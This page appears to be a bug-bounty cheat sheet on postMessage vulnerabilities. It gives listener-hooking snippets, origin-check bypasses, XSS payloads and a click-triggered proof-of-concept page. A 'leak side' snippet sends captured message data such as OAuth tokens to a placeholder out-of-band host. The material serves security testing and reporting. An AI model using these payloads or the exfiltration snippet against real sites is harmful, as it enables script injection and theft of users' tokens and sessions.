caon.io

PostMessage

Cross-origin messaging between windows. Two sides, two bug classes: the receiver trusts a message it should not, or the sender broadcasts data to everyone.

A · RECEIVER TRUSTS: no origin check evil.tld frames or opens it postMessage target.com listener onmessage = e => ... sink innerHTML / eval window.open works even when X-Frame-Options blocks the iframe. B · SENDER LEAKS: targetOrigin is "*" target.com postMessage(tok, "*") broadcast any framing page reads e.data exfil No sink needed for B: the token in the message is the finding.
Both directions are worth testing. Most people only test A.

Find the listeners

// devtools console, on the target page
getEventListeners(window).message

Log everything that arrives, then drive the app and watch:

window.addEventListener('message', e => console.log(e.origin, e.data), true);

Catch listeners registered after you paste. Run this first, then reload:

const add = EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener = function (t, f, o) {
  if (t === 'message') console.log('listener registered:', f.toString());
  return add.call(this, t, f, o);
};

And catch what the page sends out:

const pm = window.postMessage;
window.postMessage = function (d, o) { console.log('SEND', o, d); return pm.apply(this, arguments); };

Grep the bundles for addEventListener("message", onmessage, .postMessage(. See Javascript.

Get a handle on the target window

// framable target
const f = document.createElement('iframe');
f.src = 'https://target.com/page';
document.body.appendChild(f);
f.onload = () => f.contentWindow.postMessage(payload, '*');
// X-Frame-Options set? window.open still works (needs a click)
const w = window.open('https://target.com/page');
setTimeout(() => w.postMessage(payload, '*'), 2000);

window.open is the one people forget. X-Frame-Options and frame-ancestors stop framing, not messaging.

frames[0].frames[1].postMessage(p, '*')   // nested frames
e.source.postMessage(p, '*')              // reply to whoever messaged you
opener.postMessage(p, '*')                // from a popup back to its opener

Origin checks that don’t work

Code Bypass
(no check) anything
e.origin.indexOf('target.com') > -1 https://target.com.evil.tld
e.origin.endsWith('target.com') https://eviltarget.com
e.origin.startsWith('https://target.com') https://target.com.evil.tld
/target\.com/.test(e.origin) unanchored, https://target.com.evil.tld
/target.com/ unescaped dot, https://targetXcom.evil.tld
/^https:\/\/.*\.target\.com$/ any subdomain, see Subdomain Takeover
e.origin != 'null' a sandboxed iframe posts with origin null
checks document.referrer referrer is not the message origin
checks e.source only e.source is spoofable via frame ordering
checks e.data.origin that field is attacker-controlled

Register the bypass domain before you report: a live PoC on target.com.yourdomain.tld closes the argument.

Null origin

A sandboxed iframe or a data: URL posts with origin === "null". Allow-lists that include null, or that compare with !=, accept it.

<iframe sandbox="allow-scripts" src="data:text/html,
  <script>parent.parent.postMessage('x','*')</script>"></iframe>

Sinks

What the listener does with e.data is the whole bug.

eval  Function  setTimeout(str)  setInterval(str)
innerHTML  outerHTML  insertAdjacentHTML  document.write
$(...)  .html()  .append()  .after()
location  location.href  location.replace  window.open   → javascript:
script.src  iframe.src  img.src  a.href
localStorage / sessionStorage  → read into a sink later
fetch / XHR url                → CSPT, see below
postMessage to another frame   → relay

Storage writes are the sleeper. The message handler is safe, but the value it stores is read into innerHTML on the next page load.

Payload shape

Listeners usually switch on a field. Send the whole object, not a bare string:

w.postMessage({ type: 'render', html: '<img src=x onerror=alert(document.domain)>' }, '*');
w.postMessage(JSON.stringify({ action: 'navigate', url: 'javascript:alert(1)' }), '*');

If the handler does JSON.parse(e.data), a string is required: an object gets silently dropped and you will think it is not vulnerable.

Fuzz the type field with the values you found in the bundle, then vary one property at a time.

Full PoC

<!doctype html>
<h1>click</h1>
<script>
  onclick = () => {
    const w = window.open('https://target.com/widget');
    setTimeout(() => {
      w.postMessage({type:'render', html:'<img src=x onerror=alert(document.domain)>'}, '*');
    }, 3000);
  };
</script>

The leak side

Anything sent with targetOrigin: '*' is readable by any page that frames or opens the target. No sink needed: the data is the finding.

<iframe src="https://target.com/oauth/callback"></iframe>
<script>
  onmessage = e => fetch('https://oob.tld/?d=' + btoa(JSON.stringify(e.data)));
</script>

Worth reading for: OAuth codes and tokens, CSRF tokens, session ids, API keys, PII, internal config.

Chains

postMessage → CSPT                  steer the app's own authenticated fetch
postMessage → prototype pollution   __proto__ in the message body
postMessage → DOM clobbering        message writes markup, markup clobbers a global
postMessage → open redirect         message controls location
postMessage → relay                 bounce off a trusted origin that forwards messages

The relay is the good one: origin check is strict, but an allowed frame forwards whatever it receives, so you post to it and it posts to the target.

Same trust question, different API:

BroadcastChannel      // same-origin only, but reachable from any tab
MessageChannel / MessagePort   // ports handed over in a message, often unchecked
SharedWorker  ServiceWorker    // worker.port.postMessage
window.name           // survives navigation, classic cross-origin carrier

Where to look

/embed  /widget  /sdk  /iframe  /connect  /bridge
oauth callbacks, payment iframes, chat widgets, analytics SDKs
cookie-consent banners, video players, map embeds
anything loading a third-party JS SDK

Third-party embed SDKs are the richest source: they are built to talk cross-origin and the origin check is often a config value the site never set.

Extension

Burp DOM Invader has a dedicated postMessage view: it logs listeners, shows the origin check and lets you replay a message with one click. Easiest path in.

Reporting

Name the listener file and line, the origin check that failed, the sink, and the exact message. A alert(document.domain) screenshot from a real attacker origin is worth more than a description of the flow.

Writeups

Videos

Labs

Credits: https://x.com/Heli__9

↑↓ navigate↵ openesc close